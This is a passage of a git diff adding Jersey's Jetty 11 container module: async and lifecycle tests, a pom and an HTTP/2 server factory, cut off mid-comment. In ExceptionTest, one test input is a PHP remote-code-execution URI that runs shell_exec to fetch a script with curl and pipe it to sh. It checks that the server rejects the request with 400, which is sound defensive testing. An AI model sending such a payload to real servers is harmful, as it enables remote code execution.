+            });
+            asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+            new Thread(new Runnable() {
+
+                @Override
+                public void run() {
+                    final String result = veryExpensiveOperation();
+                    asyncResponse.resume(result);
+                }
+
+                private String veryExpensiveOperation() {
+                    // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+                    try {
+                        Thread.sleep(7000);
+                    } catch (final InterruptedException e) {
+                        // ignore
+                    }
+                    return "DONE";
+                }
+            }).start();
+        }
+
+        @GET
+        @Path("multiple-invocations")
+        public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+            INVOCATION_COUNT.incrementAndGet();
+
+            new Thread(new Runnable() {
+                @Override
+                public void run() {
+                    asyncResponse.resume("OK");
+                }
+            }).start();
+        }
+    }
+
+    private Client client;
+
+    @BeforeEach
+    public void setUp() throws Exception {
+        startServer(AsyncResource.class);
+        client = ClientBuilder.newClient();
+    }
+
+    @Override
+    @AfterEach
+    public void tearDown() {
+        super.tearDown();
+        client = null;
+    }
+
+    @Test
+    public void testAsyncGet() throws ExecutionException, InterruptedException {
+        final Future<Response> responseFuture = client.target(getUri().path("/async")).request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+        // get() waits for the response
+        assertEquals("DONE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+        final Future<Response> responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+        // Request is being processed asynchronously.
+        final Response response = responseFuture.get();
+
+        // get() waits for the response
+        assertEquals(503, response.getStatus());
+        assertEquals("Operation time out.", response.readEntity(String.class));
+    }
+
+    /**
+     * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+     */
+    @Test
+    public void testAsyncMultipleInvocations() throws Exception {
+        final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+        assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+        assertThat(response.getStatus(), is(200));
+        assertThat(response.readEntity(String.class), is("OK"));
+    }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
new file mode 100644
index 0000000..03abb53
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/ExceptionTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractJettyServerTester {
+    @Path("{status}")
+    public static class ExceptionResource {
+        @GET
+        public String get(@PathParam("status") int status) {
+            throw new WebApplicationException(status);
+        }
+
+    }
+
+    @Test
+    public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+                + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+                + ".0.1/ldr.sh|sh";
+        BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getStatusLine().getStatusCode());
+    }
+
+    @Test
+    public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+        startServer(ExceptionResource.class);
+        URI testUri = getUri().build();
+        BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+        request.addHeader("X-Forwarded-Host", "_foo.com");
+        CloseableHttpClient client = HttpClientBuilder.create().build();
+
+        CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+        assertEquals(400, response.getStatusLine().getStatusCode());
+    }
+
+    @Test
+    public void test400StatusCode() throws IOException {
+        startServer(ExceptionResource.class);
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("400").build());
+        assertEquals(400, r.request().get(Response.class).getStatus());
+    }
+
+    @Test
+    public void test500StatusCode() {
+        startServer(ExceptionResource.class);
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("500").build());
+
+        assertEquals(500, r.request().get(Response.class).getStatus());
+    }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
new file mode 100644
index 0000000..cb363fb
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link JettyHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JettyHttpServerProviderTest {
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServer() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        shouldProvideServer(ShouldProvideServerApplication.class, resource);
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+        // given
+        final Resource resource = new Resource();
+        final Application application = new ShouldProvideServerApplication();
+        shouldProvideServer(application.getClass(), resource);
+    }
+
+    private void shouldProvideServer(final Object application, final Resource resource)
+            throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new JettyHttpServerProvider();
+        final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
+
+        // when
+        final WebServer webServer = Application.class.isInstance(application)
+                ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+                : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+        final Object nativeHandle = webServer.unwrap(Object.class);
+        final CompletionStage<?> start = webServer.start();
+        final Object startResult = start.toCompletableFuture().get();
+        final Container container = webServer.container();
+        final int port = webServer.port();
+        final String entity = ClientBuilder.newClient()
+                .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+                .get(String.class);
+        final CompletionStage<?> stop = webServer.stop();
+        final Object stopResult = stop.toCompletableFuture().get();
+
+        // then
+        assertThat(webServer, is(instanceOf(JettyHttpServer.class)));
+        assertThat(nativeHandle, is(instanceOf(org.eclipse.jetty.server.Server.class)));
+        assertThat(startResult, is(nullValue()));
+        assertThat(container, is(instanceOf(JettyHttpContainer.class)));
+        assertThat(port, is(greaterThan(0)));
+        assertThat(entity, is(resource.toString()));
+        assertThat(stopResult, is(nullValue()));
+    }
+
+    @Path("/")
+    protected static final class Resource {
+        @GET
+        @Override
+        public String toString() {
+            return Resource.class.getName();
+        }
+    }
+
+    protected static class ShouldProvideServerApplication extends Application {
+        @Override
+        public Set<Object> getSingletons() {
+            return Collections.singleton(new Resource());
+        }
+    }
+
+    private static final Logger LOGGER = Logger.getLogger(JettyHttpServerProviderTest.class.getName());
+
+    private static final int DEFAULT_PORT = 0;
+
+    private static int getPort() {
+        final String value = AccessController
+                .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+        if (value != null) {
+            try {
+                final int i = Integer.parseInt(value);
+                if (i < 0) {
+                    throw new NumberFormatException("Value is negative.");
+                }
+                return i;
+            } catch (final NumberFormatException e) {
+                LOGGER.log(Level.CONFIG,
+                        "Value of 'jersey.config.test.container.port'"
+                                + " property is not a valid non-negative integer [" + value + "]."
+                                + " Reverting to default [" + DEFAULT_PORT + "].",
+                        e);
+            }
+        }
+
+        return DEFAULT_PORT;
+    }
+
+    @Test
+    @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+    public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+        // given
+        final WebServerProvider webServerProvider = new JettyHttpServerProvider();
+        final Application application = new Application();
+        final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
+
+        // when
+        final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+        // then
+        assertThat(webServer.port(), is(greaterThan(0)));
+    }
+
+    private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
+        return (SeBootstrap.Configuration) name -> {
+            switch (name) {
+                case SeBootstrap.Configuration.PROTOCOL:
+                    return "HTTP";
+                case SeBootstrap.Configuration.HOST:
+                    return "localhost";
+                case SeBootstrap.Configuration.PORT:
+                    return port;
+                case SeBootstrap.Configuration.ROOT_PATH:
+                    return "/";
+                case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+                    return SSLClientAuthentication.NONE;
+                case SeBootstrap.Configuration.SSL_CONTEXT:
+                    try {
+                        return SSLContext.getDefault();
+                    } catch (final NoSuchAlgorithmException e) {
+                        throw new RuntimeException(e);
+                    }
+                case ServerProperties.WEBSERVER_AUTO_START:
+                    return autoStart;
+                default:
+                    return null;
+            }
+        };
+    }
+
+}
\ No newline at end of file
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
new file mode 100644
index 0000000..133bd25
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/LifecycleListenerTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Reload and ContainerLifecycleListener support test.
+ *
+ * @author Paul Sandoz
+ * @author Marek Potociar
+ */
+public class LifecycleListenerTest extends AbstractJettyServerTester {
+
+    @Path("/one")
+    public static class One {
+        @GET
+        public String get() {
+            return "one";
+        }
+    }
+
+    @Path("/two")
+    public static class Two {
+        @GET
+        public String get() {
+            return "two";
+        }
+    }
+
+    public static class Reloader extends AbstractContainerLifecycleListener {
+        Container container;
+
+        public void reload(ResourceConfig newConfig) {
+            container.reload(newConfig);
+        }
+
+        public void reload() {
+            container.reload();
+        }
+
+        @Override
+        public void onStartup(Container container) {
+            this.container = container;
+        }
+
+    }
+
+    @Test
+    public void testReload() {
+        final ResourceConfig rc = new ResourceConfig(One.class);
+
+        Reloader reloader = new Reloader();
+        rc.registerInstances(reloader);
+
+        startServer(rc);
+
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("/").build());
+
+        assertEquals("one", r.path("one").request().get(String.class));
+        assertEquals(404, r.path("two").request().get(Response.class).getStatus());
+
+        // add Two resource
+        reloader.reload(new ResourceConfig(One.class, Two.class));
+
+        assertEquals("one", r.path("one").request().get(String.class));
+        assertEquals("two", r.path("two").request().get(String.class));
+    }
+
+    static class StartStopListener extends AbstractContainerLifecycleListener {
+        volatile boolean started;
+        volatile boolean stopped;
+
+        @Override
+        public void onStartup(Container container) {
+            started = true;
+        }
+
+        @Override
+        public void onShutdown(Container container) {
+            stopped = true;
+        }
+    }
+
+    @Test
+    public void testStartupShutdownHooks() {
+        final StartStopListener listener = new StartStopListener();
+
+        startServer(new ResourceConfig(One.class).register(listener));
+
+        Client client = ClientBuilder.newClient();
+        WebTarget r = client.target(getUri().path("/").build());
+
+        assertThat(r.path("one").request().get(String.class), equalTo("one"));
+        assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
+
+        stopServer();
+
+        assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
+        assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
+    }
+}
diff --git a/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
new file mode 100644
index 0000000..5d9c627
--- /dev/null
+++ b/containers/jetty11-http/src/test/java/org/glassfish/jersey/jetty/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractJettyServerTester {
+
+    @Path("helloworld")
+    public static class HelloWorldResource {
+        public static final String CLICHED_MESSAGE = "Hello World!";
+
+        @GET
+        @Produces("text/plain")
+        public String getHello() {
+            return CLICHED_MESSAGE;
+        }
+    }
+
+    @Test
+    public void testFooBarOptions() {
+        startServer(HelloWorldResource.class);
+        Client client = ClientBuilder.newClient();
+        Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+        assertEquals(200, response.getStatus());
+        final String allowHeader = response.getHeaderString("Allow");
+        _checkAllowContent(allowHeader);
+        assertEquals(0, response.getLength());
+        assertEquals("foo/bar", response.getMediaType().toString());
+    }
+
+    private void _checkAllowContent(final String content) {
+        assertTrue(content.contains("GET"));
+        assertTrue(content.contains("HEAD"));
+        assertTrue(content.contains("OPTIONS"));
+    }
+
+}
diff --git a/containers/jetty11-http2/pom.xml b/containers/jetty11-http2/pom.xml
new file mode 100644
index 0000000..15a7d78
--- /dev/null
+++ b/containers/jetty11-http2/pom.xml
@@ -0,0 +1,175 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <modelVersion>4.0.0</modelVersion>
+
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.containers</groupId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+
+    <artifactId>jersey-container-jetty11-http2</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-container-jetty11-http2</name>
+
+    <description>Jetty 11 Http2 Container</description>
+
+    <dependencyManagement>
+        <dependencies>
+            <dependency>
+                <groupId>org.eclipse.jetty</groupId>
+                <artifactId>jetty-server</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty</groupId>
+                <artifactId>jetty-util</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty.http2</groupId>
+                <artifactId>http2-server</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+            <dependency>
+                <groupId>org.eclipse.jetty</groupId>
+                <artifactId>jetty-alpn-conscrypt-server</artifactId>
+                <version>${jetty11.version}</version>
+            </dependency>
+        </dependencies>
+    </dependencyManagement>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty11-http</artifactId>
+            <version>${project.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-server</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-util</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>jakarta.inject</groupId>
+            <artifactId>jakarta.inject-api</artifactId>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-server</artifactId>
+            <version>${jetty11.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-util</artifactId>
+            <version>${jetty11.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty.http2</groupId>
+            <artifactId>http2-server</artifactId>
+            <version>${jetty11.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+                <exclusion>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-server</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.eclipse.jetty</groupId>
+            <artifactId>jetty-alpn-conscrypt-server</artifactId>
+            <version>${jetty11.version}</version>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
+        </dependency>
+        <dependency>
+            <groupId>org.apache.httpcomponents</groupId>
+            <artifactId>httpclient</artifactId>
+            <scope>test</scope>
+        </dependency>
+        <dependency>
+            <groupId>org.hamcrest</groupId>
+            <artifactId>hamcrest</artifactId>
+            <scope>test</scope>
+        </dependency>
+    </dependencies>
+
+    <build>
+        <plugins>
+            <plugin>
+                <groupId>com.sun.istack</groupId>
+                <artifactId>istack-commons-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.codehaus.mojo</groupId>
+                <artifactId>build-helper-maven-plugin</artifactId>
+                <inherited>true</inherited>
+            </plugin>
+            <plugin>
+                <groupId>org.apache.felix</groupId>
+                <artifactId>maven-bundle-plugin</artifactId>
+                <inherited>true</inherited>
+                <configuration>
+                    <instructions>
+                        <Import-Package>
+                            ${jetty.osgi.version},
+                            *
+                        </Import-Package>
+                    </instructions>
+                </configuration>
+            </plugin>
+        </plugins>
+
+        <resources>
+            <resource>
+                <directory>${basedir}/src/main/resources</directory>
+                <filtering>true</filtering>
+            </resource>
+        </resources>
+    </build>
+
+</project>
diff --git a/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
new file mode 100644
index 0000000..ac8927c
--- /dev/null
+++ b/containers/jetty11-http2/src/main/java/org/glassfish/jersey/jetty11/http2/Jetty11Http2ContainerFactory.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
+import org.eclipse.jetty.server.ConnectionFactory;
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.jetty.Jetty11HttpContainer;
+import org.glassfish.jersey.jetty.Jetty11HttpContainerFactory;
+import org.glassfish.jersey.jetty.Jetty11HttpContainerProvider;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import jakarta.ws.rs.ProcessingException;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.List;
+
+public final class Jetty11Http2ContainerFactory {
+
+    private Jetty11Http2ContainerFactory() {
+
+    }
+
+    /**
+     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+     *
+     * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+     *            segment will be used as context path, the rest will be ignored.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createHttp2Server(final URI uri) throws ProcessingException {
+        return createHttp2Server(uri, null, null, true);
+    }
+
+    /**
+     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     * <p/>
+     * This implementation defers to the
+     * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+     * for creating an Container that manages the root resources.
+     *
+     * @param uri           URI on which the Jersey web application will be deployed. Only first path segment will be
+     *                      used as context path, the rest will be ignored.
+     * @param configuration web application configuration.
+     * @param start         if set to false, server will not get started, which allows to configure the underlying
+     *                      transport layer, see above for details.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     */
+    public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
+            throws ProcessingException {
+        return createHttp2Server(uri, null,
+                ContainerFactory.createContainer(Jetty11HttpContainer.class, configuration), start);
+    }
+
+    /**
+     * Creates HTTP/2 enabled  {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+     *
+     * @param uri   uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+     *              segment will be used as context path, the rest will be ignored.
+     * @param start if set to false, server will not get started, which allows to configure the underlying transport
+     *              layer, see above for details.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     *
+     * @since 2.40
+     */
+
+    public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
+        return createHttp2Server(uri, null, null, start);
+    }
+
+    /**
+     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes declared by the
+     * resource configuration.
+     *
+     * @param uri           the URI to create the http server. The URI scheme must be
+     *                      equal to "https". The URI user information and host
+     *                      are ignored If the URI port is not present then port 143 will be
+     *                      used. The URI path, query and fragment components are ignored.
+     * @param config        the resource configuration.
+     * @param parentContext DI provider specific context with application's registered bindings.
+     * @param start         if set to false, server will not get started, this allows end users to set
+     *                      additional properties on the underlying listener.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
+     * @throws IllegalArgumentException if {@code uri} is {@code null}.
+     * @see Jetty11HttpContainer
+     *
+     * @since 2.40
+     */
+    public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
+                                           final Object parentContext) {
+        return createHttp2Server(uri, null,
+                new Jetty11HttpContainerProvider().createContainer(Jetty11HttpContainer.class,
+                        config, parentContext), start);
+    }
+
+    /**
+     * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+     * in turn manages all root resource and provider classes found by searching the
+     * classes referenced in the java classpath.
+     *
+     * @param uri               the URI to create the http server. The URI scheme must be
+     *                          equal to {@code https}. The URI user information and host
+     *                          are ignored. If the URI port is not present then port
+     *                          {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+     *                          used. The URI path, query and fragment components are ignored.
+     * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+     * @param handler           the container that handles all HTTP requests
+     * @param start             if set to false, server will not get started, this allows end users to set
+     *                          additional properties on the underlying listener.
+     * @return newly created {@link Server}.
+     *
+     * @throws ProcessingException      in case of any failure when creating a new Jetty {@code Server} instance.
